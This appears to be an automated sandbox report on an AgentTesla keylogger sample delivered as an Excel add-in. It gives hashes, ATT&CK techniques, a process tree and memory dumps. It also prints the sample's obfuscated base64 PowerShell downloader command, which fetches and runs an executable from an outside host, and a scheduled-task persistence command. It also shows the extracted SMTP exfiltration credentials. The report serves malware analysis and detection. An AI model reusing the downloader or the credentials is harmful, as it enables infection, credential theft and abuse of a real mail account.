agenttesla | 1242e07f0cdfe9f71f9e871c5cac57f24b2c4db3ff1fc36c2181d23b7f6c368f

Analysis

max time kernel
131s
max time network
136s
platform
windows10_x64
resource
win10v20210410
submitted
09/08/2021, 13:03

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General

Target
ORDINE 845.xlam
Size 19KB
Sample210809-5z1ec9btta
SHA256 1242e07f0cdfe9f71f9e871c5cac57f24b2c4db3ff1fc36c2181d23b7f6c368f
MD5 fe7b200f4c8438112be58ccf0a80dad5
SHA1 2e4fe02f192098a42963c8b56ef2c3566dc4f2f9
SHA512 7877f14bb86ac77a40a555733cdc191689bb0faaffde867208e44d72f082ccecb744ae0fe6c48f117d0596a97337ecc35268f8c6dcbaa5d3f0bc77676ed0ad09
MD5 SHA1 SHA512

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.barbanoarredamenti.it
Port
587
Username
[email protected]
Password
Barbano1717!

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3852	2112	cmd.exe	68

AgentTesla Payload 3 IoCs

resource	yara_rule
behavioral2/memory/1936-440-0x000000000043766E-mapping.dmp	family_agenttesla
behavioral2/memory/1936-439-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral2/memory/1936-446-0x00000000050D0000-0x00000000055CE000-memory.dmp	family_agenttesla

Downloads MZ/PE file

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 684 set thread context of 1936	684	uhvbt.exe	88

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2176	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2112	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
1936	uhvbt.exe
1936	uhvbt.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1936	uhvbt.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE
2112	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 3852	2112	EXCEL.EXE	76
PID 2112 wrote to memory of 3852	2112	EXCEL.EXE	76
PID 3852 wrote to memory of 1120	3852	cmd.exe	78
PID 3852 wrote to memory of 1120	3852	cmd.exe	78
PID 1120 wrote to memory of 684	1120	powershell.exe	85
PID 1120 wrote to memory of 684	1120	powershell.exe	85
PID 1120 wrote to memory of 684	1120	powershell.exe	85
PID 684 wrote to memory of 2176	684	uhvbt.exe	86
PID 684 wrote to memory of 2176	684	uhvbt.exe	86
PID 684 wrote to memory of 2176	684	uhvbt.exe	86
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88
PID 684 wrote to memory of 1936	684	uhvbt.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ORDINE 845.xlam"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C pO^W^ErS^he^lL -E WwBTAHkAcwBUAEUAbQAuAFQARQB4AHQALgBFAG4AQwBPAGQASQBuAGcAXQA6ADoAVQBuAEkAYwBvAEQARQAuAGcAZQB0AHMAVAByAGkATgBnACgAWwBTAHkAcwB0AEUATQAuAEMAbwBuAFYAZQByAFQAXQA6ADoARgBSAG8ATQBiAEEAcwBlADYANABTAHQAcgBpAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgAYwBBAGQAUQBCAHUAQQBHAEkAQQBiAGcAQgBoAEEASABZAEEAWgBBAEIAcgBBAEgAawBBAGUAQQBCAG0AQQBHAEkAQQBZAFEAQgB4AEEASABJAEEAYQBRAEIANQBBAEcAbwBBAGIAQQBCAHoAQQBIAGcAQQBZAFEAQgB1AEEASABjAEEAWQBnAEIAaQBBAEgAUQBBAGMAZwBCAHYAQQBHAG8AQQBZAGcAQgAxAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAdwBCAHkAQQBIAGMAQQBhAFEAQgBpAEEASABJAEEAYQB3AEIANgBBAEcASQBBAGUAZwBBAGcAQQBDAHcAQQBJAEEAQQBrAEEARwBzAEEAWQBnAEIAdQBBAEcAWQBBAGQAUQBCAHkAQQBHAFEAQQBjAHcAQgAyAEEARwBVAEEAYQB3AEIAdgBBAEgAbwBBAGQAUQBCAGgAQQBHAFkAQQBiAEEAQQBnAEEAQwBrAEEARABRAEEASwBBAEgAcwBBAEkAQQBCAHAAQQBFADAAQQBjAEEAQgBQAEEASABJAEEAZABBAEEAdABBAEcAMABBAFQAdwBCAGsAQQBIAFUAQQBiAEEAQgBGAEEAQwBBAEEAWQBnAEIASgBBAEgAUQBBAFUAdwBCAFUAQQBIAEkAQQBZAFEAQgBPAEEARgBNAEEAUgBnAEIAbABBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBVAHcAQgAwAEEARQBFAEEAVQBnAEIAMABBAEMAMABBAFkAZwBCAEoAQQBIAFEAQQBjAHcAQgBVAEEARgBJAEEAWQBRAEIAdQBBAEgATQBBAFIAZwBCAEYAQQBIAEkAQQBJAEEAQQB0AEEARgBNAEEAYgB3AEIAMQBBAEYASQBBAFEAdwBCAGwAQQBDAEEAQQBKAEEAQgByAEEASABJAEEAZAB3AEIAcABBAEcASQBBAGMAZwBCAHIAQQBIAG8AQQBZAGcAQgA2AEEAQwBBAEEATABRAEIARQBBAEcAVQBBAFUAdwBCADAAQQBFAGsAQQBUAGcAQgBoAEEARgBRAEEAYQBRAEIAdgBBAEUANABBAEkAQQBBAGsAQQBHAHMAQQBZAGcAQgB1AEEARwBZAEEAZABRAEIAeQBBAEcAUQBBAGMAdwBCADIAQQBHAFUAQQBhAHcAQgB2AEEASABvAEEAZABRAEIAaABBAEcAWQBBAGIAQQBBADcAQQBDAEEAQQBKAGcAQQBnAEEAQwBRAEEAYQB3AEIAaQBBAEcANABBAFoAZwBCADEAQQBIAEkAQQBaAEEAQgB6AEEASABZAEEAWgBRAEIAcgBBAEcAOABBAGUAZwBCADEAQQBHAEUAQQBaAGcAQgBzAEEARABzAEEASQBBAEIAOQBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgBrAEEARwA4AEEAYgBBAEIANABBAEcAawBBAGEAZwBCADUAQQBHAEUAQQBlAGcAQgBoAEEARwBNAEEAWQBRAEIAaABBAEcAdwBBAGMAdwBCAGwAQQBIAFkAQQBkAGcAQgAxAEEARwBZAEEAWQBnAEIAdwBBAEgAWQBBAGIAZwBCAHoAQQBHADAAQQBQAFEAQQBrAEEARwBVAEEAVABnAEIAVwBBAEQAbwBBAGQAQQBCAGwAQQBHADAAQQBjAEEAQQByAEEAQwBjAEEAWABBAEIAMQBBAEcAZwBBAGQAZwBCAGkAQQBIAFEAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEQAcwBBAEQAUQBBAEsAQQBIAGMAQQBkAFEAQgB1AEEARwBJAEEAYgBnAEIAaABBAEgAWQBBAFoAQQBCAHIAQQBIAGsAQQBlAEEAQgBtAEEARwBJAEEAWQBRAEIAeABBAEgASQBBAGEAUQBCADUAQQBHAG8AQQBiAEEAQgB6AEEASABnAEEAWQBRAEIAdQBBAEgAYwBBAFkAZwBCAGkAQQBIAFEAQQBjAGcAQgB2AEEARwBvAEEAWQBnAEIAMQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQAwAEEARABJAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAE0AQQBNAHcAQQB2AEEARABrAEEAVwBnAEIAbABBAEUAawBBAFQAQQBCADMAQQBGAGcAQQBiAGcAQgBYAEEARgBVAEEAZAB3AEEAMgBBAEcAWQBBAGQAUQBCAHIAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAFoAQQBCAHYAQQBHAHcAQQBlAEEAQgBwAEEARwBvAEEAZQBRAEIAaABBAEgAbwBBAFkAUQBCAGoAQQBHAEUAQQBZAFEAQgBzAEEASABNAEEAWgBRAEIAMgBBAEgAWQBBAGQAUQBCAG0AQQBHAEkAQQBjAEEAQgAyAEEARwA0AEEAYwB3AEIAdABBAEQAcwBBAEQAUQBBAEsAQQBIAGMAQQBkAFEAQgB1AEEARwBJAEEAYgBnAEIAaABBAEgAWQBBAFoAQQBCAHIAQQBIAGsAQQBlAEEAQgBtAEEARwBJAEEAWQBRAEIAeABBAEgASQBBAGEAUQBCADUAQQBHAG8AQQBiAEEAQgB6AEEASABnAEEAWQBRAEIAdQBBAEgAYwBBAFkAZwBCAGkAQQBIAFEAQQBjAGcAQgB2AEEARwBvAEEAWQBnAEIAMQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQAwAEEARABJAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAE0AQQBNAHcAQQB2AEEARABrAEEAVwBnAEIAbABBAEUAawBBAFQAQQBCADMAQQBGAGcAQQBiAGcAQgBYAEEARgBVAEEAZAB3AEEAMgBBAEcAWQBBAGQAUQBCAHIAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAFoAQQBCAHYAQQBHAHcAQQBlAEEAQgBwAEEARwBvAEEAZQBRAEIAaABBAEgAbwBBAFkAUQBCAGoAQQBHAEUAQQBZAFEAQgBzAEEASABNAEEAWgBRAEIAMgBBAEgAWQBBAGQAUQBCAG0AQQBHAEkAQQBjAEEAQgAyAEEARwA0AEEAYwB3AEIAdABBAEQAcwBBAEQAUQBBAEsAQQBIAGMAQQBkAFEAQgB1AEEARwBJAEEAYgBnAEIAaABBAEgAWQBBAFoAQQBCAHIAQQBIAGsAQQBlAEEAQgBtAEEARwBJAEEAWQBRAEIAeABBAEgASQBBAGEAUQBCADUAQQBHAG8AQQBiAEEAQgB6AEEASABnAEEAWQBRAEIAdQBBAEgAYwBBAFkAZwBCAGkAQQBIAFEAQQBjAGcAQgB2AEEARwBvAEEAWQBnAEIAMQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQAwAEEARABJAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAE0AQQBNAHcAQQB2AEEARABrAEEAVwBnAEIAbABBAEUAawBBAFQAQQBCADMAQQBGAGcAQQBiAGcAQgBYAEEARgBVAEEAZAB3AEEAMgBBAEcAWQBBAGQAUQBCAHIAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAFoAQQBCAHYAQQBHAHcAQQBlAEEAQgBwAEEARwBvAEEAZQBRAEIAaABBAEgAbwBBAFkAUQBCAGoAQQBHAEUAQQBZAFEAQgBzAEEASABNAEEAWgBRAEIAMgBBAEgAWQBBAGQAUQBCAG0AQQBHAEkAQQBjAEEAQgAyAEEARwA0AEEAYwB3AEIAdABBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABpAGUAeAA=
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOWErShelL -E WwBTAHkAcwBUAEUAbQAuAFQARQB4AHQALgBFAG4AQwBPAGQASQBuAGcAXQA6ADoAVQBuAEkAYwBvAEQARQAuAGcAZQB0AHMAVAByAGkATgBnACgAWwBTAHkAcwB0AEUATQAuAEMAbwBuAFYAZQByAFQAXQA6ADoARgBSAG8ATQBiAEEAcwBlADYANABTAHQAcgBpAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgAYwBBAGQAUQBCAHUAQQBHAEkAQQBiAGcAQgBoAEEASABZAEEAWgBBAEIAcgBBAEgAawBBAGUAQQBCAG0AQQBHAEkAQQBZAFEAQgB4AEEASABJAEEAYQBRAEIANQBBAEcAbwBBAGIAQQBCAHoAQQBIAGcAQQBZAFEAQgB1AEEASABjAEEAWQBnAEIAaQBBAEgAUQBBAGMAZwBCAHYAQQBHAG8AQQBZAGcAQgAxAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAdwBCAHkAQQBIAGMAQQBhAFEAQgBpAEEASABJAEEAYQB3AEIANgBBAEcASQBBAGUAZwBBAGcAQQBDAHcAQQBJAEEAQQBrAEEARwBzAEEAWQBnAEIAdQBBAEcAWQBBAGQAUQBCAHkAQQBHAFEAQQBjAHcAQgAyAEEARwBVAEEAYQB3AEIAdgBBAEgAbwBBAGQAUQBCAGgAQQBHAFkAQQBiAEEAQQBnAEEAQwBrAEEARABRAEEASwBBAEgAcwBBAEkAQQBCAHAAQQBFADAAQQBjAEEAQgBQAEEASABJAEEAZABBAEEAdABBAEcAMABBAFQAdwBCAGsAQQBIAFUAQQBiAEEAQgBGAEEAQwBBAEEAWQBnAEIASgBBAEgAUQBBAFUAdwBCAFUAQQBIAEkAQQBZAFEAQgBPAEEARgBNAEEAUgBnAEIAbABBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBVAHcAQgAwAEEARQBFAEEAVQBnAEIAMABBAEMAMABBAFkAZwBCAEoAQQBIAFEAQQBjAHcAQgBVAEEARgBJAEEAWQBRAEIAdQBBAEgATQBBAFIAZwBCAEYAQQBIAEkAQQBJAEEAQQB0AEEARgBNAEEAYgB3AEIAMQBBAEYASQBBAFEAdwBCAGwAQQBDAEEAQQBKAEEAQgByAEEASABJAEEAZAB3AEIAcABBAEcASQBBAGMAZwBCAHIAQQBIAG8AQQBZAGcAQgA2AEEAQwBBAEEATABRAEIARQBBAEcAVQBBAFUAdwBCADAAQQBFAGsAQQBUAGcAQgBoAEEARgBRAEEAYQBRAEIAdgBBAEUANABBAEkAQQBBAGsAQQBHAHMAQQBZAGcAQgB1AEEARwBZAEEAZABRAEIAeQBBAEcAUQBBAGMAdwBCADIAQQBHAFUAQQBhAHcAQgB2AEEASABvAEEAZABRAEIAaABBAEcAWQBBAGIAQQBBADcAQQBDAEEAQQBKAGcAQQBnAEEAQwBRAEEAYQB3AEIAaQBBAEcANABBAFoAZwBCADEAQQBIAEkAQQBaAEEAQgB6AEEASABZAEEAWgBRAEIAcgBBAEcAOABBAGUAZwBCADEAQQBHAEUAQQBaAGcAQgBzAEEARABzAEEASQBBAEIAOQBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgBrAEEARwA4AEEAYgBBAEIANABBAEcAawBBAGEAZwBCADUAQQBHAEUAQQBlAGcAQgBoAEEARwBNAEEAWQBRAEIAaABBAEcAdwBBAGMAdwBCAGwAQQBIAFkAQQBkAGcAQgAxAEEARwBZAEEAWQBnAEIAdwBBAEgAWQBBAGIAZwBCAHoAQQBHADAAQQBQAFEAQQBrAEEARwBVAEEAVABnAEIAVwBBAEQAbwBBAGQAQQBCAGwAQQBHADAAQQBjAEEAQQByAEEAQwBjAEEAWABBAEIAMQBBAEcAZwBBAGQAZwBCAGkAQQBIAFEAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEQAcwBBAEQAUQBBAEsAQQBIAGMAQQBkAFEAQgB1AEEARwBJAEEAYgBnAEIAaABBAEgAWQBBAFoAQQBCAHIAQQBIAGsAQQBlAEEAQgBtAEEARwBJAEEAWQBRAEIAeABBAEgASQBBAGEAUQBCADUAQQBHAG8AQQBiAEEAQgB6AEEASABnAEEAWQBRAEIAdQBBAEgAYwBBAFkAZwBCAGkAQQBIAFEAQQBjAGcAQgB2AEEARwBvAEEAWQBnAEIAMQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQAwAEEARABJAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAE0AQQBNAHcAQQB2AEEARABrAEEAVwBnAEIAbABBAEUAawBBAFQAQQBCADMAQQBGAGcAQQBiAGcAQgBYAEEARgBVAEEAZAB3AEEAMgBBAEcAWQBBAGQAUQBCAHIAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAFoAQQBCAHYAQQBHAHcAQQBlAEEAQgBwAEEARwBvAEEAZQBRAEIAaABBAEgAbwBBAFkAUQBCAGoAQQBHAEUAQQBZAFEAQgBzAEEASABNAEEAWgBRAEIAMgBBAEgAWQBBAGQAUQBCAG0AQQBHAEkAQQBjAEEAQgAyAEEARwA0AEEAYwB3AEIAdABBAEQAcwBBAEQAUQBBAEsAQQBIAGMAQQBkAFEAQgB1AEEARwBJAEEAYgBnAEIAaABBAEgAWQBBAFoAQQBCAHIAQQBIAGsAQQBlAEEAQgBtAEEARwBJAEEAWQBRAEIAeABBAEgASQBBAGEAUQBCADUAQQBHAG8AQQBiAEEAQgB6AEEASABnAEEAWQBRAEIAdQBBAEgAYwBBAFkAZwBCAGkAQQBIAFEAQQBjAGcAQgB2AEEARwBvAEEAWQBnAEIAMQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQAwAEEARABJAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAE0AQQBNAHcAQQB2AEEARABrAEEAVwBnAEIAbABBAEUAawBBAFQAQQBCADMAQQBGAGcAQQBiAGcAQgBYAEEARgBVAEEAZAB3AEEAMgBBAEcAWQBBAGQAUQBCAHIAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAFoAQQBCAHYAQQBHAHcAQQBlAEEAQgBwAEEARwBvAEEAZQBRAEIAaABBAEgAbwBBAFkAUQBCAGoAQQBHAEUAQQBZAFEAQgBzAEEASABNAEEAWgBRAEIAMgBBAEgAWQBBAGQAUQBCAG0AQQBHAEkAQQBjAEEAQgAyAEEARwA0AEEAYwB3AEIAdABBAEQAcwBBAEQAUQBBAEsAQQBIAGMAQQBkAFEAQgB1AEEARwBJAEEAYgBnAEIAaABBAEgAWQBBAFoAQQBCAHIAQQBIAGsAQQBlAEEAQgBtAEEARwBJAEEAWQBRAEIAeABBAEgASQBBAGEAUQBCADUAQQBHAG8AQQBiAEEAQgB6AEEASABnAEEAWQBRAEIAdQBBAEgAYwBBAFkAZwBCAGkAQQBIAFEAQQBjAGcAQgB2AEEARwBvAEEAWQBnAEIAMQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQAwAEEARABJAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAE0AQQBNAHcAQQB2AEEARABrAEEAVwBnAEIAbABBAEUAawBBAFQAQQBCADMAQQBGAGcAQQBiAGcAQgBYAEEARgBVAEEAZAB3AEEAMgBBAEcAWQBBAGQAUQBCAHIAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAUQBBAFoAQQBCAHYAQQBHAHcAQQBlAEEAQgBwAEEARwBvAEEAZQBRAEIAaABBAEgAbwBBAFkAUQBCAGoAQQBHAEUAQQBZAFEAQgBzAEEASABNAEEAWgBRAEIAMgBBAEgAWQBBAGQAUQBCAG0AQQBHAEkAQQBjAEEAQgAyAEEARwA0AEEAYwB3AEIAdABBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABpAGUAeAA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1120
  - - C:\Users\Admin\AppData\Local\Temp\uhvbt.exe
      "C:\Users\Admin\AppData\Local\Temp\uhvbt.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:684
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RUGHurrb" /XML "C:\Users\Admin\AppData\Local\Temp\tmp663D.tmp"
        5⤵
        Creates scheduled task(s)
        
        PID:2176
    - - C:\Users\Admin\AppData\Local\Temp\uhvbt.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uhvbt.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/684-428-0x00000000050A0000-0x00000000050A1000-memory.dmp

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memory/684-436-0x000000000B590000-0x000000000B5C8000-memory.dmp

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memory/684-435-0x0000000008D40000-0x0000000008DDD000-memory.dmp

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memory/684-434-0x00000000088A0000-0x00000000088B1000-memory.dmp

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memory/684-432-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

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memory/684-431-0x0000000005000000-0x00000000054FE000-memory.dmp

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memory/684-433-0x0000000005200000-0x0000000005201000-memory.dmp

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memory/684-425-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

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memory/684-426-0x0000000005500000-0x0000000005501000-memory.dmp

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memory/684-423-0x00000000005F0000-0x00000000005F1000-memory.dmp

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memory/1120-275-0x000001C7772F0000-0x000001C7772F2000-memory.dmp

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memory/1120-388-0x000001C777770000-0x000001C777771000-memory.dmp

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memory/1120-276-0x000001C7772F3000-0x000001C7772F5000-memory.dmp

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memory/1120-430-0x000001C7772F8000-0x000001C7772F9000-memory.dmp

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memory/1120-429-0x000001C7772F6000-0x000001C7772F8000-memory.dmp

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memory/1120-274-0x000001C7776F0000-0x000001C7776F1000-memory.dmp

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memory/1120-349-0x000001C777690000-0x000001C777691000-memory.dmp

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memory/1120-271-0x000001C7772A0000-0x000001C7772A1000-memory.dmp

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memory/1936-448-0x0000000005DC0000-0x0000000005DC1000-memory.dmp

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memory/1936-447-0x0000000005250000-0x0000000005251000-memory.dmp

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memory/1936-446-0x00000000050D0000-0x00000000055CE000-memory.dmp

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memory/1936-439-0x0000000000400000-0x000000000043C000-memory.dmp

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memory/2112-117-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-123-0x00007FF842F10000-0x00007FF844E05000-memory.dmp

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memory/2112-466-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-116-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-121-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-122-0x00007FF844ED0000-0x00007FF845FBE000-memory.dmp

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memory/2112-115-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-118-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-465-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-114-0x00007FF630BA0000-0x00007FF634156000-memory.dmp

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memory/2112-463-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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memory/2112-464-0x00007FF824490000-0x00007FF8244A0000-memory.dmp

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